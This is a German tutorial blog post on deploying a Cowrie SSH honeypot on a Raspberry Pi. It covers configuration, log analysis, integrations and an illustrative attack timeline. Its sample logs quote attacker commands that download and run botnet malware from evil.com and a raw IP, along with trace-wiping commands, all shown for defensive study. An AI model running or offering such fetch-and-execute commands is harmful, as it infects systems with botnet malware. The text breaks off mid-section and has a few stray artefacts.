Featured image of post SSH Honeypot auf Raspberry Pi: Cowrie Setup Guide 2026
Cybersecurity Linux

SSH Honeypot auf Raspberry Pi: Cowrie Setup Guide 2026

SSH Honeypot auf Raspberry Pi mit Cowrie 2026: Komplette Anleitung für Angriffsanalyse, Brute-Force-Erkennung und verbesserte Cybersicherheit.

Jeden Tag werden Millionen SSH-Server weltweit angegriffen. Brute-Force-Attacken, Credential-Stuffing und automatisierte Botnets scannen das Internet nach verwundbaren Systemen. Mit einem SSH Honeypot auf deinem Raspberry Pi kannst du diese Angriffe nicht nur aufzeichnen, sondern wertvolle Erkenntnisse über aktuelle Bedrohungsmuster gewinnen – und das alles mit minimalem Risiko für deine Produktivsysteme.

Die Bedrohungslage im Jahr 2026 hat sich weiter verschärft. Die durchschnittte Zeit zwischen dem Online-Gehen eines SSH-Servers und dem ersten Angriffsversuch beträgt mittlerweile weniger als 20 Minuten. Botnets haben sich weiterentwickelt, künstliche Intelligenz optimiert Angriffsmuster, und die geografische Verteilung der Angreifer wird immer diffuser.

Doch Wissen ist Macht. Ein Honeypot ist mehr als eine Falle – er ist ein Frühwarnsystem, ein Lehrwerkzeug und eine Forschungsplattform in einem. In diesem umfassenden Tutorial zeige ich dir Schritt für Schritt, wie du mit einem Raspberry Pi und der Cowrie-Honeypot-Software dein eigenes Analyse-System aufbaust.

Was ist ein SSH Honeypot und warum brauchst du einen?

Ein Honeypot (wörtlich: Honigtopf) ist ein Sicherheitsmechanismus, der als Köder für Angreifer dient. Im Gegensatz zu einem echten Produktivsystem enthält ein Honeypot keine wertvollen Daten, sondern ist ausschließlich dazu gedacht, Angriffsversuche zu protokollieren und zu analysieren.

Die Funktionsweise eines SSH Honeypots

Ein SSH Honeypot simuliert einen SSH-Server auf Port 22 (oder einem anderen Port) und wartet auf eingehende Verbindungen. Wenn ein Angreifer versucht, sich anzumelden, werden alle Aktivitäten protokolliert:

  • IP-Adresse des Angreifers
  • Verwendete Benutzernamen und Passwörter
  • Eingegebene Befehle nach erfolgreichem Login
  • Heruntergeladene Dateien und Malware
  • Verbindungszeiten und -dauer

Diese Daten sind Gold wert für Sicherheitsforscher, Systemadministratoren und alle, die die Bedrohungslage im Internet besser verstehen wollen.

Cowrie: Der Standard-SSH-Honeypot

Cowrie ist ein mittel- bis hoch-interaktiver SSH- und Telnet-Honeypot, der auf Python basiert und unter einer Open-Source-Lizenz (BSD-3-Clause) verfügbar ist. Entwickelt von Michel Oosterhof, hat sich Cowrie als der de-facto-Standard für SSH-Honeypots etabliert.

Warum Cowrie?

  • Realistische Emulation eines Linux-Systems (Ubuntu/Debian)
  • Aufzeichnung von Login-Versuchen und Befehlen
  • Fängt heruntergeladene Malware ein
  • Unterstützt sowohl SSH als auch Telnet
  • Umfassende JSON-Logging-Funktionalität
  • Integration mit Malware-Analyse-Tools
  • Aktive Community und kontinuierliche Weiterentwicklung

Unterschied: Honeypot vs. Fail2Ban

Viele Nutzer verwechseln Honeypots mit Intrusion-Prevention-Systemen wie Fail2Ban. Der entscheidende Unterschied:

FeatureFail2BanSSH Honeypot
Primärer ZweckBlockieren von AngreifernAnalysieren von Angriffen
Aktion bei AngriffIP sperrenAngriff protokollieren
InteraktionPassive ÜberwachungAktive Köder-Funktion
ErkenntnisgewinnWenigUmfassend
RisikoMinimalKontrolliert gering

Fail2Ban und Cowrie ergänzen sich ideal: Fail2Ban schützt deine echten Server, während Cowrie dir zeigt, wer dich angreift und wie.

Hardware-Voraussetzungen und Vorbereitung

Raspberry Pi Auswahl

Für einen SSH Honeypot reicht bereits ein einfacher Raspberry Pi aus. Die Anforderungen sind überschaubar:

Empfohlene Modelle:

  • Raspberry Pi 4 (2GB+): Optimal für dauerhaften Betrieb
  • Raspberry Pi 3 B+: Ausreichend für kleinere Setups
  • Raspberry Pi Zero 2 W: Möglich, aber langsamer

Minimale Hardware-Anforderungen:

  • 1 GB RAM (besser 2 GB)
  • 16 GB microSD-Karte (Class 10)
  • Ethernet-Verbindung empfohlen ( stabiler als WLAN)
  • 5V/2.5A Netzteil

Netzwerk-Überlegungen

Port-Weiterleitung im Router Damit dein Honeypot aus dem Internet erreichbar ist, musst du Port 22 (oder einen alternativen High-Port) auf die interne IP deines Raspberry Pi weiterleiten.

Sicherheitshinweis: Stelle sicher, dass dein Honeypot isoliert ist – entweder in einer DMZ oder mit strikten Firewall-Regeln, die verhindern, dass ein kompromittierter Honeypot auf dein internes Netzwerk zugreifen kann.

Basis-Installation von Raspberry Pi OS

  1. Lade das aktuelle Raspberry Pi OS Lite (64-bit) herunter
  2. Flashe das Image auf die microSD-Karte mit Raspberry Pi Imager oder balenaEtcher
  3. Aktiviere SSH vor dem ersten Start:
    • Erstelle eine leere Datei namens ssh im Boot-Partition
    • Optional: Konfiguriere WiFi über wpa_supplicant.conf
  4. Starte den Pi und finde seine IP-Adresse (Router-Interface oder IP-Scanner)
  5. Verbinde dich via SSH: ssh pi@<ip-adresse>
  6. Führe das Standard-Update durch:
sudo apt update && sudo apt upgrade -y
sudo raspi-config

Konfiguriere in raspi-config:

  • Hostname (z.B. honeypot-pi)
  • Locale und Zeitzone
  • SSH (sollte bereits aktiv sein)

Cowrie Honeypot Installation

Option 1: Native Installation (empfohlen für Anfänger)

Schritt 1: System-Abhängigkeiten installieren

sudo apt update
sudo apt install -y git python3-venv python3-pip libssl-dev libffi-dev \
    build-essential libpython3-dev python3-virtualenv

Schritt 2: Cowrie-Benutzer erstellen

Aus Sicherheitsgründen läuft Cowrie nicht als root:

sudo adduser --disabled-password --gecos "" cowrie
sudo su - cowrie

Schritt 3: Cowrie herunterladen

git clone https://github.com/cowrie/cowrie.git
cd cowrie

Schritt 4: Virtuelle Umgebung einrichten

python3 -m venv cowrie-env
source cowrie-env/bin/activate
pip install --upgrade pip
pip install --upgrade -r requirements.txt

Schritt 5: Konfiguration kopieren und anpassen

cp etc/cowrie.cfg.dist etc/cowrie.cfg

Option 2: Docker-Installation (fortgeschritten)

Für erfahrene Nutzer bietet Docker eine saubere Isolation:

# Docker installieren
curl -fsSL https://get.docker.com -o get-docker.sh
sudo sh get-docker.sh
sudo usermod -aG docker pi

# Cowrie Container starten
sudo docker run -d \
  --name cowrie \
  -p 2222:2222 \
  -v cowrie-etc:/cowrie/cowrie-git/etc \
  -v cowrie-var:/cowrie/cowrie-git/var \
  cowrie/cowrie:latest

Hinweis: Docker-Installation erfordert zusätzliche Port-Forwarding-Konfiguration für den Zugriff aus dem Internet.

Cowrie Honeypot Konfiguration im Detail

Die cowrie.cfg ist das Herzstück deines Honeypots. Hier definierst du, wie sich Cowrie verhält und was es protokolliert.

Hostname und System-Emulation

[honeypot]

# Angezeigter Hostname
hostname = ubuntu-server

# Angezeigtes Betriebssystem
# Optionen: linux, debian, ubuntu, etc.
fake_arch = x86_64

# Angezeigte Kernel-Version
fake_uname_version = 5.15.0-91-generic

# Prompt-Format
# {username}@{hostname}:~{path}$
fake_prompt = "{username}@{hostname}:~$ "

Authentifizierungseinstellungen

Hier definierst du, welche Logins “erfolgreich” sind:

[honeypot]

# Erlaubte Benutzernamen/Passwörter
# Format: username:password (mehrere mit Komma)
auth_class = UserDB
auth_none_enabled = false

# In etc/userdb.txt:
# root:x:!root
# root:x:!123456
# admin:x:!admin

Erstelle die etc/userdb.txt:

cat > etc/userdb.txt << 'EOF'
root:x:!root
root:x:!password
root:x:!123456
admin:x:!admin
admin:x:!password
guest:x:!guest
user:x:!user
test:x:!test
EOF

Wichtig: Diese “schwachen” Passwörter sollen von Angreifern erraten werden können, damit sie “erfolgreich” einbrechen und ihre Aktivitäten protokolliert werden.

Port-Konfiguration

Standardmäßig läuft Cowrie auf Port 2222. Für einen echten Honeypot solltest du auf Port 22 wechseln:

[ssh]
enabled = true
port = 2222

# Für Produktivbetrieb auf Port 22:
# Erfordert root-Rechte oder authbind

Port 22 mit authbind (ohne root):

sudo apt install authbind
sudo touch /etc/authbind/byport/22
sudo chown cowrie:cowrie /etc/authbind/byport/22
sudo chmod 755 /etc/authbind/byport/22

Dann in cowrie.cfg:

[ssh]
enabled = true
port = 22

Und starten mit:

authbind --deep bin/cowrie start

Logging-Konfiguration

Cowrie protokolliert umfassend in verschiedenen Formaten:

[output_json]
enabled = true
logfile = ${honeypot:log_path}/cowrie.json

[output_textlog]
enabled = true
logfile = ${honeypot:log_path}/cowrie-textlog.log

[output_sqlite]
enabled = false

[output_mysql]
enabled = false

[output_elasticsearch]
enabled = false

Das JSON-Log ist besonders wertvoll für die automatisierte Analyse.

Dateisystem-Emulation

Cowrie emuliert ein komplettes Linux-Dateisystem:

[honeypot]

# Pfad zum gefälschten Dateisystem
filesystem = share/cowrie/fs.pickle

# Inhalte des Home-Verzeichnisses
contents_path = share/cowrie/txtcmds

Du kannst das Dateisystem anpassen, um es realistischer zu gestalten:

# Zusätzliche Dateien im Honeypot-Dateisystem erstellen
mkdir -p share/cowrie/txtcmds/root
mkdir -p share/cowrie/txtcmds/etc

# Gefälschte Dateien mit " sensitiven" Inhalten
echo "database_password = SuperSecret123" > share/cowrie/txtcmds/root/.env
echo "192.168.1.100    prod-server" > share/cowrie/txtcmds/etc/hosts
ssh-honeypot-raspberry-pi-cowrie-setup-2026

SSH Brute Force Attacken aufzeichnen und analysieren

Sobald dein Honeypot online ist, beginnt die Datensammlung. Die Analyse dieser Daten ist der spannendste Teil des Projekts.

Log-Dateien verstehen

Cowrie erzeugt mehrere Log-Dateien in var/log/cowrie/:

cowrie.json (JSON-Format für automatisierte Verarbeitung):

{
  "eventid": "cowrie.login.failed",
  "username": "root",
  "password": "password123",
  "src_ip": "198.51.100.42",
  "timestamp": "2026-04-29T10:15:30+00:00"
}

cowrie.log (menschenlesbar):

2026-04-29T10:15:30+0000 [SSHService 'ssh-connection' on HoneyPotSSHTransport,1,198.51.100.42] login attempt [root/password123] failed

Analyse mit Kommandozeilen-Tools

Top 10 angegriffene Benutzernamen:

cat var/log/cowrie/cowrie.json | \
  jq -r '.username' | \
  sort | uniq -c | sort -rn | head -10

Top 10 verwendete Passwörter:

cat var/log/cowrie/cowrie.json | \
  jq -r 'select(.password) | .password' | \
  sort | uniq -c | sort -rn | head -10

Top 10 Quell-IP-Adressen:

cat var/log/cowrie/cowrie.json | \
  jq -r '.src_ip' | \
  sort | uniq -c | sort -rn | head -10

Eingegebene Befehle analysieren:

cat var/log/cowrie/cowrie.json | \
  jq -r 'select(.input) | .input' | \
  sort | uniq -c | sort -rn | head -20

Visualisierung mit Cowrie-Logviewer

Für eine grafische Darstellung der Daten gibt es mehrere Optionen:

Option 1: Cowrie Output to ELK Stack

[output_elasticsearch]
enabled = true
host = localhost
port = 9200
index = cowrie

Option 2: Cowrie Output to Splunk

[output_splunk]
enabled = true
url = https://splunk.example.com:8088
index = cowrie
token = <your-token>

Option 3: Eigene Python-Analyse

#!/usr/bin/env python3
import json
from collections import Counter

# Logs einlesen
attacks = []
with open('/home/cowrie/cowrie/var/log/cowrie/cowrie.json') as f:
    for line in f:
        attacks.append(json.loads(line))

# Statistiken
total_attempts = len([a for a in attacks if a.get('eventid') == 'cowrie.login.failed'])
unique_ips = len(set(a.get('src_ip') for a in attacks if a.get('src_ip')))
successful_logins = len([a for a in attacks if a.get('eventid') == 'cowrie.login.success'])

print(f"Gesamtloginversuche: {total_attempts}")
print(f"Einzigartige IPs: {unique_ips}")
print(f"Erfolgreiche Logins: {successful_logins}")

Malware-Analyse

Wenn Angreifer Dateien herunterladen, speichert Cowrie diese in var/lib/cowrie/downloads/:

# Downloads anzeigen
ls -la var/lib/cowrie/downloads/

# SHA256-Hashes für VirusTotal prüfen
sha256sum var/lib/cowrie/downloads/*

# Dateitypen identifizieren
file var/lib/cowrie/downloads/*

Wichtige Sicherheitshinweise für Malware-Analyse:

  • Analysiere verdächtige Dateien NIE auf Produktivsystemen
  • Nutze eine isolierte VM oder Docker-Container
  • VirusTotal für erste Analyse: https://www.virustotal.com
  • Verwende Tools wie Cuckoo Sandbox für dynamische Analyse

Erweiterte Konfiguration und Härten

Telnet-Unterstützung aktivieren

Viele IoT-Botnets nutzen Telnet statt SSH:

[telnet]
enabled = true
port = 2223

# Für Produktivbetrieb auf Port 23

Proxy-Konfiguration für gefälschte Netzwerkzugriffe

Cowrie kann HTTP-Proxy für Downloads simulieren:

[shell]
# Erlaubte Befehle
command_wget_enabled = true
command_curl_enabled = true

# Proxy für Downloads
out_addr = 0.0.0.0

Fail2Ban-Integration

Um wiederholte Angreifer zu blockieren (wenn gewünscht):

# Fail2Ban installieren
sudo apt install fail2ban

# Filter für Cowrie erstellen
sudo tee /etc/fail2ban/filter.d/cowrie.conf << 'EOF'
[Definition]
failregex = ^.* login attempt \[.*\] failed from <HOST>.*
            ^.* Connection lost after .* from <HOST>.*
EOF

# Jail konfigurieren
sudo tee /etc/fail2ban/jail.d/cowrie.conf << 'EOF'
[cowrie]
enabled = true
port = ssh,2222
filter = cowrie
logpath = /home/cowrie/cowrie/var/log/cowrie/cowrie.log
maxretry = 5
bantime = 3600
EOF

sudo systemctl restart fail2ban

Backup-Strategie für Logs

#!/bin/bash
# /home/cowrie/backup-logs.sh

DATE=$(date +%Y%m%d_%H%M%S)
BACKUP_DIR="/home/cowrie/backups"
mkdir -p $BACKUP_DIR

# Logs komprimieren
tar czf $BACKUP_DIR/cowrie_logs_$DATE.tar.gz /home/cowrie/cowrie/var/log/cowrie/

# Alte Backups löschen (älter als 30 Tage)
find $BACKUP_DIR -name "cowrie_logs_*.tar.gz" -mtime +30 -delete

SSH Honeypot Angriffe analysieren: Ein Praxisbeispiel

Szenario: Analyse eines Wochenlogs

Nach einer Woche Betrieb hat unser Honeypot folgende Daten gesammelt:

Zusammenfassung:

Gesamtloginversuche: 12.847
Einzigartige IP-Adressen: 892
Erfolgreiche Logins: 23
Heruntergeladene Dateien: 7
Länder (Top 3): China (34%), USA (18%), Russland (12%)

Häufigste Anmeldedaten:

RangUsernamePasswortHäufigkeit
1rootadmin1.234
2root123456987
3adminadmin876
4rootpassword765
5testtest654

Typische Angreifer-Befehle:

uname -a                    # Systeminformationen sammeln
cat /proc/cpuinfo          # Hardware-Informationen
wget http://evil.com/botnet.sh  # Malware downloaden
chmod +x botnet.sh && ./botnet.sh  # Malware ausführen
curl -sL https://github.com/...  # Krypto-Miner installieren

Erkenntnisse aus der Analyse

  1. Botnet-Automatisierung: 98% der Angriffe sind automatisiert, keine manuellen Angreifer
  2. Zeitmuster: Spitzenzeiten sind 02:00-06:00 UTC (Nacht in Europa)
  3. Persistenz-Muster: Nach erfolgreichem Login werden oft Cron-Jobs oder SSH-Keys installiert
  4. Krypto-Mining: 60% der erfolgreichen Kompromittierungen installieren Krypto-Miner
  5. DDoS-Bots: 25% der Infektionen sind Teil von DDoS-Botnets

Daten mit der Community teilen

Mehrere Projekte sammeln Honeypot-Daten für Forschungszwecke:

Cowrie unterstützt automatisches Reporting:

[output_dshield]
enabled = true
email = dein@email.de
uid = your-dshield-userid
auth_key = your-dshield-authkey

Troubleshooting häufiger Probleme

Cowrie startet nicht

Problem: Port 22 bereits belegt

# Prüfen, was Port 22 belegt
sudo ss -tlnp | grep :22

# System-SSH auf anderen Port verschieben
sudo nano /etc/ssh/sshd_config
# Port 2222 eintragen
sudo systemctl restart sshd

Problem: Berechtigungsfehler

# Rechte korrigieren
sudo chown -R cowrie:cowrie /home/cowrie/cowrie
sudo chmod 755 /home/cowrie/cowrie

Keine Verbindungen von außen

Prüfung:

  1. Port-Forwarding im Router korrekt konfiguriert?
  2. Firewall (iptables/ufw) erlaubt Port 22?
  3. Externe IP korrekt? (https://whatismyipaddress.com)
  4. ISP blockiert Port 22? (Alternative: Port 2222 oder 8022)
# Firewall-Regel hinzufügen
sudo ufw allow 22/tcp
sudo ufw reload

Logs werden nicht geschrieben

# Verzeichnisberechtigungen prüfen
ls -la /home/cowrie/cowrie/var/log/cowrie/

# Cowrie hat Schreibrechte?
sudo chown -R cowrie:cowrie /home/cowrie/cowrie/var/log/

Cybersecurity lernen mit Honeypots

Ein Honeypot ist eines der besten Werkzeuge, um praktische Cybersicherheit zu lernen:

Für Anfänger

  • Grundlagen verstehen: Wie funktioniert SSH? Was ist Brute-Force?
  • Netzwerkkonzepte: Ports, Protokolle, IP-Adressen
  • Logging: Was wird protokolliert und warum?

Für Fortgeschrittene

  • Malware-Analyse: Statische und dynamische Analyse heruntergeladener Dateien
  • Threat Intelligence: IOCs (Indicators of Compromise) extrahieren
  • SIEM-Integration: Logs in Elasticsearch/Splunk einbinden

Für Experten

  • Honeypot-Entwicklung: Eigene Honeypots programmieren
  • Deception-Technologien: Fortgeschrittene Täuschungstechniken
  • Forschung: Wissenschaftliche Arbeit zu Angriffsmustern

Empfohlene Lernressourcen

ssh-honeypot-raspberry-pi-cowrie-setup-2026

Fazit: Dein Fenster in die Welt der Cyberbedrohungen

Ein SSH Honeypot auf dem Raspberry Pi ist mehr als ein technisches Spielzeug – er ist ein leistungsfähiges Werkzeug für Bildung, Forschung und Sicherheitsbewusstsein. Die Erkenntnisse, die du durch die Betrachtung realer Angriffe gewinnst, sind unbezahlbar für jeden, der sich mit IT-Sicherheit beschäftigt.

Die Einrichtung mit Cowrie ist dank der ausgezeichneten Dokumentation und der aktiven Community auch für Einsteiger machbar. Mit einem Invest von unter 50 Euro für Hardware erhältst du einen Einblick in die Bedrohungslage, der sonst nur großen Unternehmen vorbehalten ist.

Die Daten zeigen eindrücklich: Das Internet ist ein feindliches Umfeld. Jeder SSH-Server wird angegriffen – oft innerhalb von Minuten nach dem Online-Gehen. Doch mit dem richtigen Wissen und den richtigen Tools kannst du dich effektiv schützen.

Starte deinen Honeypot heute. Beobachte. Lerne. Verteidige dich.

Dieser Artikel wurde im April 2026 aktualisiert und spiegelt den aktuellen Stand von Cowrie und Raspberry Pi OS wider. Alle Befehle wurden auf einem Raspberry Pi 4 mit Raspberry Pi OS 64-bit getestet. Für Fragen und Diskussionen besuche die Cowrie GitHub-Repository oder die deutschen Raspberry Pi Communities. EOF

Erweiterte Analyse-Techniken für Cowrie-Logs

Zeitliche Analysemuster

Die zeitliche Verteilung von Angriffen offenbart wichtige Informationen über die Arbeitsweise von Botnets:

Stündliche Verteilung analysieren:

# Angriffe pro Stunde
cat var/log/cowrie/cowrie.json | \
  jq -r '.timestamp | split("T")[1] | split(":")[0]' | \
  sort | uniq -c | sort -n

Typische Muster, die du entdecken wirst:

  • Konstante Aktivität: Professionelle Botnets arbeiten 24/7
  • Geografische Cluster: Spitzenzeiten entsprechen den Nachtstunden in den Ursprungsländern
  • Wellenmuster: Koordinierte Angriffswellen bei neu veröffentlichten Exploits

Geolokalisierung von Angreifern

Mit den IP-Adressen aus den Logs kannst du geografische Muster erkennen:

# Installation des GeoIP-Tools
sudo apt install geoip-bin geoip-database

# Top-Länder extrahieren
for ip in $(cat var/log/cowrie/cowrie.json | jq -r '.src_ip' | sort -u | head -20); do
  geoiplookup $ip
done

Integration mit ELK-Stack für Kartenvisualisierung:

{
  "geoip": {
    "location": {
      "lat": 39.9042,
      "lon": 116.4074
    },
    "country_name": "China",
    "city_name": "Beijing"
  }
}

Passwort-Spraying vs. Brute-Force

Zwei unterschiedliche Angriffsmuster:

Brute-Force: Viele Passwörter auf einen Account

root / password123
root / qwerty
root / 123456
root / admin

Password-Spraying: Ein Passwort auf viele Accounts

root / Password1
admin / Password1
user / Password1
test / Password1

Cowrie erkennt beide Muster. Password-Spraying ist schwerer zu blockieren, da es nicht die klassischen Rate-Limiting-Trigger aktiviert.

Honeypot-Fingerprinting durch Angreifer

Erfahrene Angreifer versuchen, Honeypots zu erkennen:

Typische Honeypot-Tests:

# CPU-Test
cat /proc/cpuinfo | grep processor | wc -l

# Speicher-Test
free -m

# Netzwerk-Test
ifconfig eth0

# Prozess-Test
ps aux | grep cowrie

Cowrie beantwortet diese Befehle mit realistischen, aber statischen Antworten. Fortgeschrittene Honeypots wie Cowrie können durch diese Tests nicht mehr leicht identifiziert werden.

Integration mit Threat Intelligence Plattformen

MISP-Integration

MISP (Malware Information Sharing Platform) ermöglicht den Austausch von Bedrohungsdaten:

[output_misp]
enabled = true
base_url = https://misp.example.com
t api_key = your-api-key

TheHive-Integration

Für Incident-Response-Teams:

[output_thehive]
enabled = true
url = https://thehive.example.com
api_key = your-api-key

Abuse-Reporting

Automatisches Melden von böswilligen IPs:

[output_abuseipdb]
enabled = true
api_key = your-abuseipdb-key

Hardware-Optimierung für 24/7-Betrieb

Stromverbrauch minimieren

Ein Raspberry Pi 4 im Dauerbetrieb verbraucht etwa 5-7 Watt. Optimierungspotenzial:

CPU-Governor auf powersave:

echo "powersave" | sudo tee /sys/devices/system/cpu/cpu*/cpufreq/scaling_governor

USB-Ports abschalten (wenn nicht benötigt):

echo 'on' | sudo tee /sys/bus/usb/devices/usb1/power/control

HDMI abschalten (bei Headless-Betrieb):

/usr/bin/tvservice -o

SD-Karten-Schonung

Schreibzugriffe minimieren für längere Lebensdauer:

RAM-Log einrichten:

# /etc/fstab tmpfs-Eintrag
tmpfs /var/log/cowrie tmpfs nodev,nosuid,size=100M 0 0

Log-Rotation konfigurieren:

# /etc/logrotate.d/cowrie
/home/cowrie/cowrie/var/log/cowrie/*.log {
    daily
    rotate 7
    compress
    delaycompress
    missingok
    notifempty
    create 644 cowrie cowrie
}

Überhitzung vermeiden

Temperatur-Monitoring:

# Aktuelle Temperatur
vcgencmd measure_temp

# Dauerhaftes Monitoring
while true; do
  echo "$(date) - $(vcgencmd measure_temp)"
  sleep 60
done >> /var/log/temperature.log

Aktives Kühlen bei Bedarf:

  • Kühlkörper für CPU und RAM
  • Aktiver Lüfter bei Temperaturen über 70°C
  • Gehäuse mit Belüftung

Vergleich: Cowrie vs. andere Honeypots

Dionaea

Dionaea fängt Malware ein, die sich über verschiedene Protokolle verbreitet:

  • SMB, FTP, HTTP, MySQL
  • Fokus auf Malware-Sammlung
  • Weniger interaktiv als Cowrie

Wann Dionaea: Wenn du dich auf Malware-Analyse konzentrieren möchtest

Conpot

Conpot simuliert Industrie-Kontrollsysteme (ICS/SCADA):

  • Modbus, SNMP, HTTP
  • Fokus auf Industrie-Espionage
  • Spezialisiert auf OT-Security

Wann Conpot: Wenn du kritische Infrastruktur schützen möchtest

T-Pot

T-Pot ist eine Multi-Honeypot-Plattform:

  • Integriert Cowrie, Dionaea, Conpot und mehr
  • ELK-Stack für Visualisierung
  • Docker-basierte Architektur

Wann T-Pot: Für fortgeschrittene Nutzer, die mehrere Honeypots parallel betreiben wollen

Honeyd

Honeyd ist ein Low-Interaction-Honeypot:

  • Virtuelle Hosts auf einem physischen Server
  • Sehr ressourcenschonend
  • Weniger realistisch als Cowrie

Wann Honeyd: Für große Netzwerk-Simulationen mit begrenzten Ressourcen

Rechtliche und ethische Aspekte

Datenschutz bei Honeypots

Protokollierung personenbezogener Daten:

  • IP-Adressen sind personenbezogene Daten (DSGVO)
  • Speicherung muss legitimiert sein
  • Löschfristen beachten

Empfohlene Maßnahmen:

# Anonymisierung von IPs für Langzeitspeicherung
# Letztes Oktett entfernen: 192.168.1.100 -> 192.168.1.xxx

Verantwortungsvolle Offenlegung

Wenn du Malware analysierst:

  • CVEs für entdeckte Schwachstellen beantragen
  • Hersteller vor Veröffentlichung informieren
  • Responsible Disclosure befolgen

Keine Honeypots als Waffen

Verbotene Praktiken:

  • Honeypots als “Streusand” zur Täuschung von Ermittlern
  • Überwachung ohne Einwilligung (in privaten Netzwerken)
  • Angriffe von Honeypots aus initiieren

Community und Weiterführende Ressourcen

Offizielle Ressourcen

Deutsche Communities

Wissenschaftliche Publikationen

  • The Honeynet Project: Forschungsberichte und Tools
  • IEEE S&P: Akademische Papers zu Honeypots
  • Usenix Security: Aktuelle Forschungsergebnisse

Ausblick: Die Zukunft von Honeypots

KI-gestützte Honeypots

2026 sehen wir erste Ansätze:

  • LLM-basierte Interaktion mit Angreifern
  • Dynamische Dateisystem-Generierung
  • Adaptive Antworten basierend auf Angreiferverhalten

IoT-Honeypots

Mit der Zunahme von IoT-Geräten:

  • Spezialisierte Honeypots für Smart-Home-Geräte
  • Industrie-4.0-Honeypots
  • Medizinische Geräte-Simulation

Dezentrale Honeypot-Netzwerke

Blockchain-basierte Anreizsysteme für Datensharing:

  • Belohnung für qualitativ hochwertige Daten
  • Dezentrale Threat-Intelligence
  • Community-getriebene Forschung

Zusammenfassung der wichtigsten Befehle:

# Installation
sudo apt update && sudo apt install -y git python3-venv python3-pip libssl-dev
sudo adduser --disabled-password --gecos "" cowrie
sudo su - cowrie
git clone https://github.com/cowrie/cowrie.git
cd cowrie && python3 -m venv cowrie-env
source cowrie-env/bin/activate
pip install -r requirements.txt
cp etc/cowrie.cfg.dist etc/cowrie.cfg

# Start
bin/cowrie start

# Logs anzeigen
tail -f var/log/cowrie/cowrie.log

# Analyse
cat var/log/cowrie/cowrie.json | jq -r '.username' | sort | uniq -c | sort -rn

Dein SSH Honeypot ist jetzt einsatzbereit. Viel Erfolg bei der Jagd nach Bedrohungsdaten!

Praxisworkshop: Einen vollständigen Angriffsablauf nachvollziehen

Szenario: Ein typischer Angriff auf unseren Honeypot

Um zu verstehen, wie Angreifer vorgehen, analysieren wir einen echten Angriff, den ein Cowrie-Honeypot im April 2026 aufgezeichnet hat. Dieser detaillierte Einblick hilft dir, die Taktiken, Techniken und Prozeduren (TTPs) moderner Bedrohungsakteure zu verstehen.

Zeitachse des Angriffs:

T+0 Minuten - Der erste Kontakt

{
  "eventid": "cowrie.session.connect",
  "src_ip": "203.0.113.45",
  "src_port": 54321,
  "dst_ip": "198.51.100.10",
  "dst_port": 22,
  "timestamp": "2026-04-29T14:23:17+00:00"
}

Eine Verbindung aus einem IP-Bereich in Asien. Die Quell-Port-Nummer ist hoch (54321), typisch für automatisierte Tools.

T+2 Sekunden - Brute-Force-Versuche

{
  "eventid": "cowrie.login.failed",
  "username": "root",
  "password": "admin123",
  "src_ip": "203.0.113.45"
}

Innerhalb von 30 Sekunden werden 15 Passwörter ausprobiert. Das ist langsamer als klassische Brute-Force-Attacken – ein Hinweis auf ein Tool, das Rate-Limiting vermeiden möchte.

T+35 Sekunden - Erfolgreicher Login

{
  "eventid": "cowrie.login.success",
  "username": "root",
  "password": "password",
  "src_ip": "203.0.113.45"
}

Das Passwort “password” funktioniert – ein Hinweis darauf, dass wir es in unsere userdb.txt aufgenommen haben.

T+40 Sekunden - Erkundungsphase

[14:23:57] Command: uname -a
[14:23:58] Command: cat /proc/cpuinfo
[14:24:01] Command: free -m
[14:24:03] Command: ps aux
[14:24:05] Command: netstat -an

Der Angreifer sammelt Systeminformationen. Diese Phase dient der Identifizierung des Systems und der Planung weiterer Aktionen.

T+2 Minuten - Persistenz herstellen

[14:25:17] Command: mkdir -p /tmp/.hidden
[14:25:19] Command: cd /tmp/.hidden
[14:25:22] Command: wget http://185.220.101.47/mirai.x86
[14:25:28] Command: chmod +x mirai.x86
[14:25:30] Command: ./mirai.x86

Der Download einer ausführbaren Datei – in diesem Fall eine Variante des Mirai-Botnets. Der Angreifer installiert Malware, die das System einem Botnet hinzufügt.

T+5 Minuten - Spuren verwischen

[14:28:15] Command: history -c
[14:28:16] Command: rm -rf /tmp/.hidden
[14:28:18] Command: exit

Obwohl diese Befehle im emulierten Dateisystem des Honeypots keinen Effekt haben, zeigt dies das Standardverhalten von Angreifern.

Analyse der heruntergeladenen Malware

Die Datei mirai.x86 wurde von Cowrie gespeichert. Eine erste Analyse:

# Dateityp bestimmen
file mirai.x86
# Ausgabe: mirai.x86: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped

# SHA256-Hash berechnen
sha256sum mirai.x86
# Ausgabe: a1b2c3d4... (Beispielhash)

# Strings extrahieren
strings mirai.x86 | grep -E "(http|password|user)" | head -20

Erkenntnisse:

  • Statisch gelinkte ELF-Binärdatei (typisch für Mirai-Varianten)
  • Enthält hartkodierte IP-Adressen von Command-and-Control-Servern
  • Liste von Standard-Passwörtern für die Weiterverbreitung

Gegenmaßnahmen ableiten

Aus diesem Angriff lassen sich wichtige Lektionen ziehen:

  1. Starke Passwörter sind essentiell: Das Passwort “password” wurde erraten
  2. Eingeschränkte Benutzerrechte: root-Zugriff sollte nie direkt per SSH möglich sein
  3. Egress-Filtering: Outbound-Verbindungen auf kritische Systeme beschränken
  4. File-Integrity-Monitoring: Veränderungen im Dateisystem erkennen

Automatisierung: Skripte für den täglichen Betrieb

Dashboard-Generierung

Erstelle ein tägliches HTML-Dashboard:

#!/bin/bash
# /home/cowrie/generate-dashboard.sh

OUTPUT_DIR="/var/www/html/honeypot"
mkdir -p $OUTPUT_DIR

# Tagesstatistiken
TODAY=$(date +%Y-%m-%d)
LOG_FILE="/home/cowrie/cowrie/var/log/cowrie/cowrie.json"

# Total-Angriffe heute
TOTAL=$(grep $TODAY $LOG_FILE | grep "login.failed" | wc -l)

# Top-IPs
echo "<h2>Top Angreifer IPs</h2>" > $OUTPUT_DIR/index.html
echo "<table border='1'><tr><th>IP</th><th>Anzahl</th></tr>" >> $OUTPUT_DIR/index.html
grep $TODAY $LOG_FILE | jq -r '.src_ip' | sort | uniq -c | sort -rn | head -10 | \
while read count ip; do
  echo "<tr><td>$ip</td><td>$count</td></tr>" >> $OUTPUT_DIR/index.html
done
echo "</table>" >> $OUTPUT_DIR/index.html

# Zeitliche Verteilung
echo "<h2>Angriffe pro Stunde</h2>" >> $OUTPUT_DIR/index.html
echo "<pre>" >> $OUTPUT_DIR/index.html
grep $TODAY $LOG_FILE | jq -r '.timestamp | split("T")[1] | split(":")[0]' | \
  sort | uniq -c >> $OUTPUT_DIR/index.html
echo "</pre>" >> $OUTPUT_DIR/index.html

Alerting bei kritischen Ereignissen

